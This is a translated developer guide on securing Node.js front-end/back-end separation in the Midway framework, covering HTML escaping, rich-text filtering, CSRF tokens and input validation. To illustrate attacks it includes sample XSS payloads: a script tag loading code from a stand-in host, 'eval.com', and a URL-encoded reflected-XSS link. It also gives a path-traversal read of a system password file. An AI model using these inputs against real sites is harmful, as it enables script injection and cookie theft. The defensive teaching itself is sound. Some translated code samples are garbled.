Preface
In the development model of separation of front-end and back-end, the most obvious change in terms of development roles and functions is: in the past, front-end students who were only responsible for development in the browser environment needed to explore the server-end level and write server-end code. And a basic question before us is how to ensure Web security?
This article proposes solutions to the security problems encountered by the front-end and back-end separation mode in the web development of the front-end, as well as countermeasures and precautions.
Defense of Cross-site Scripting Attack (XSS)
Problems and solutions
Cross-site scripting (XSS, Cross-site scripting) is the most common and basic method of attacking web sites. An attacker can publish data containing offensive code on a web page. When a browser sees this web page, a specific script will be executed as the identity and permissions of the browser user. XSS can be more easily modified, user data steal, user information and cause other types of attacks, such as CSRF attacks.
The basic way to prevent XSS attacks is to ensure that any data output to an HTML page is escaped in HTML (HTML escape). For example, the following template code:
The code copy is as follows:
<textarea name="description">$description</textarea>
The $description in this code is a variable of the template (the syntax of the variables defined in different templates is different, here is just a diagram). The data submitted by the user can enter a piece of code containing "JavaScript" to make the result of the above template statement become the following result:
The code copy is as follows:
<textarea name="description">
</textarea><script>alert('hello')'</script>
</textarea>
The above code, rendered in the browser, will execute JavaScript code and alert hello on the screen. Of course, this code is harmless, but an attacker can create a JavaScript to modify user information or steal cookie data.
The solution is very simple, which is to html escape the value of $description. The output code after escape is as follows
The code copy is as follows:
<textarea name="description">
</textarea><script>alert(hello!)</script>
</textarea>
The above escaped HTML code is not harmful.
Midway's solution
Escape all user output data in the page
There are several situations and methods for escaping data:
1. Escape using the mechanism provided inside the template
Midway uses KISSY xtemplate as the template language.
In the xtemplate implementation, the template data is parsed syntax using two brackets ({{val}}). By default, the data is HTML escaped, so developers can write templates like this:
The code copy is as follows:
<textarea name="description">{{description}}</textarea>
In xtemplate, if you do not want the output data to be escaped, you need to use three brackets ({{{val}}}).
2. Unambiguously call escape functions in Midway
Developers can directly call the HTML escape method provided by Midway in the Node.js program or template to escape the data displayed, as follows:
Method 1: HTML escape data in Node.js program
The code copy is as follows:
var Security= require('midway-security');
//data from server, eg {html:'</textarea>', other:""}
data.html =Security.escapeHtml(data.html);
xtpl = xtpl.render(data);
Method 2: HTML escape HTML data in template
The code copy is as follows:
<textarea name="description">Security.escapeHtml({{{description}}})</textarea>
Note: Security.escapeHtml is used for escape only when the data is not escaped inside the template. Otherwise, the template internal and program will escape the overlay twice, resulting in an output that does not meet the expectations.
Recommended: If you use xtemplate, it is recommended to use the built-in {{}} of the template to escape directly; if you use other templates, it is recommended to use Security.escapeHtml for escape.
Filter rich text output from users on the page
You may think: "Actually, I just want to output rich text, such as some message boards and forums to provide users with some simple font size, color, background and other functions. So how should I deal with such rich text to prevent XSS?"
1. Use the richText function provided by Security in Midway
Midway provides richText method, which is specially used to filter rich text and prevent vulnerabilities such as XSS, phishing, and cookie theft.
There is a message board, and the template code may be as follows:
The code copy is as follows:
<div>
{{{message}}}
</div>
Because message is the user's input data, the content of its message board contains rich text information, here three braces are used in xtemplate, and HTML escapes are not performed by default; then the data entered by the user is as follows:
The code copy is as follows:
<script src="http://eval.com/eval.js"></script><span style="color:red;font-size:20px;position:fixed;">I am leaving a message</span>
If the above rich text data is directly output to the page, it will inevitably lead to the injection of js from the eval.com site into the current page, causing an XSS attack. To prevent this vulnerability, we just call the Security.richText method in the template or program to process the rich text input by the user.
The calling method is similar to escapeHtml, and there are two ways to
Method 1: Call directly in the Node.js program
The code copy is as follows:
message =Security.richText(message);
var html = xtpl.render(message)
Method 2: Call in the template
The code copy is as follows:
<div>
Security.richText({{{message}}})
</div>
After calling the richText method of Security, the final output is as follows:
The code copy is as follows:
<div>
<span style="color:red;font-size:20px;">I am leaving a message</span>
</div>
It can be seen that first: the script tag that will cause XSS attacks will be filtered out directly; at the same time, the CSS attribute position:fixed; style in the style tag is also filtered. Finally, the harmless HTML rich text is output
Learn about other ways to potentially lead to XSS attacks
In addition to the possible XSS attack in the page template, there are several other ways in web applications that may also be risky.
1. Vulnerability in the error page
If a page cannot be found, the system may report a 404 Not Found error, for example: http://localhost/page/not/found
404 NotFound
Page /page/not/found does not exsit
Obviously: the attacker can use this page to construct a connection like this, http://localhost/%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E, and lure the victim to click; if the error page does not escape the output variable, then the <script>alert('hello')</script> hidden in the connection will be executed.
In express, the method of sending a 404 page is as follows
res.send(404, 'Sorry, we don/'t find that!')
Here, developers need to pay attention to the handling of the error page (404 or other error status). If the return content of the error message contains path information (in fact, to be more accurate, the user input information), you must perform escapeHtml.
Subsequently, the security mechanism of error handling will be completed at the Midway framework level.
Additional Notes for Midway Solutions
Other template engines
Midway supports xtemplate templates by default, but it may also support other templates in the future: such as jade, mustache, ejs, etc. Currently, in mainstream templates, default escaped and non-escaped output variable writing methods are provided, and developers need to pay special attention to their security.
Other support for escape
In addition to the normal and rich text data output on the page, some scenarios also include other situations that may require escape. Midway provides the following commonly used escape methods for developers to use:
escapeHtml filters characters in specified HTML to prevent XSS vulnerabilities
jsEncode JavaScript escape of input Strings. Unicode escape of Chinese, single quotes, and double quotes escape
escapeJson does not destroy the escape function of JSON structure, and only performs escapeHtml processing on name and vaule in json structure
escapeJsonForJsVar is understandably jsEncode+escapeJson
Examples are as follows
The code copy is as follows:
var jsonText ="{/"<script>/":/"<script>/"}";
console.log(SecurityUtil.escapeJson(jsonText));// {"<script>":"<script>"}
var jsonText ="{/"Hello/":/"<script>/"}";
console.log(SecurityUtil.escapeJsonForJsVar(jsonText));//{/"/u4f60/u597d/":/"<script>/"}
var str ="alert(/"Hello/")";
console.log(SecurityUtil.jsEncode(str));// alert(/"/u4f60/u597d/")
Prevention of Cross-site Request Forgery Attack (CSRF)
Problems and solutions
Definition of terms: Form: refers generally to the form used by the browser to submit data on the client; including a tag, ajax submission data, form form submission data, etc., rather than the form tags equal to HTML.
Cross-site request forgery (CSRF, Cross-site request forgery) is another common attack. The attacker forged a request through various methods and imitated the user's behavior of submitting forms, thereby achieving the purpose of modifying the user's data or performing specific tasks.
In order to pretend to be a user, CSRF attacks are often combined with XSS attacks, but other means can be used: for example, to induce users to click on a link containing the attack.
The idea of solving CSRF attacks is divided into two steps.
1. Increase the difficulty of the attack. GET requests are easy to create. Users can initiate GET-type requests by clicking a link. POST requests are relatively difficult. Attackers often need to use JavaScript to implement them. Therefore, ensuring that form forms or server interfaces only accept POST-type submission requests can increase the security of the system.
2. Authenticate the request to ensure that the request was indeed filled out the form or initiated the request and submitted by the user, rather than forged by a third party.
The process of a normal user modifying website information is as follows
User requests to modify information (1) -> The website displays the user's modified information form (2) -> User modifys information and submits (3) -> The website accepts the user's modified data and saves (4)
A CSRF attack will not take this route, but will directly forge the user submission information in step 2.
Skip directly to step 2 (1) -> Forge the information to be modified and submit (2) -> The website accepts the attacker to modify the parameter data and save (3)
As long as these two situations can be distinguished, CSRF attacks can be prevented. So how to distinguish it? It is to verify the information submitted in step 2 to ensure that the data comes from the form in step 1. The specific verification process is as follows:
User requests to modify information (1) -> The website displays a blank form used to modify information. The form contains a special token and saves the token in the session (2) -> User modifys the information and submits it, and sends back the token information to the server (3) -> The website compares the token sent back by the user and the token in the session. It should be consistent. Then the data modified by the user is accepted and saved.
In this way, if the attacker forged the information to be modified and submitted, he would not be able to directly access the session, so he would not be able to get the actual token value; if the request was sent to the server, when the server performed token verification, it would be found that it was inconsistent, and the request was directly rejected.
Midway Solutions
Disable GET submission form
If the server does not accept the form data submitted by GET, it will cause great difficulty to the attacker; because it is very easy to construct a A-label href attribute or img-label src attribute on the page to construct a request, but if you want to submit it, you must use a script to implement it.
Verify requests with CSRF token
Because Midway does not involve the logic of Taobao's distributed session and token verification, in the Midway framework, only tokens are forwarded between the server and the client, and does not do actual verification work. The process is as follows:
Subsequently: In Midway, after the distributed session of Node.js and Taobao are connected, you can consider automatically performing token verification at the Midway layer; after all, the earlier the security verification is performed, the lower the cost.
Suggestion: In Midway, you can determine whether there is a token value in the request. If a modification operation does not have a token, you can directly consider it in the Midway layer to be unsafe and discard the request.
Other security issues
There are several common web security issues. Here are only some introductions and will continue to be inherited into the Midway framework in the future.
HTTP Headers Security
CRLF Injection Attackers find ways to inject two CRLF special characters into the response header, resulting in an exceptional response data format, thereby injecting script, etc.
Denied access attacks every request because cookies are brought by default, and the server generally limits the size of the cookies, which leads to that if the user client cookies are set to exceed a certain threshold, the user will no longer be able to access the website.
Cookie prevention and control, general cookie theft is obtained through JavaScript (XSS vulnerability), so try to set cookies to http only and add cookie expiration time
Regarding the security issues of cookies, WebX has already had a good solution before; this time Midway is not responsible for the setting and verification of cookies, and is only responsible for forwarding to the WebX level for checking.
About Node.js
Injective vulnerabilities such as XSS are the easiest to be ignored among all vulnerabilities, accounting for more than 70% of the total Internet attacks; when writing Node.js code, developers should always remind themselves and never trust users' inputs.
For example, the following examples.
var mod = fs.readFileSync('path'); If the path comes from user input, then assuming that the user enters /etc/password, content that should not be read will be read, causing the risk of password leakage
var result = eval(jsonVal); Be sure to make sure jsonVal is json, not user input
... In other places that may contain user input, be sure to confirm that the user's input is the value we expect.
Summarize
In the separation mode of front-end and back-end, traditional front-end developers can start writing back-end code. Although architecture is only responsible for the template layer, they will also be exposed to a large amount of back-end code; therefore, security is a big challenge for the front-end.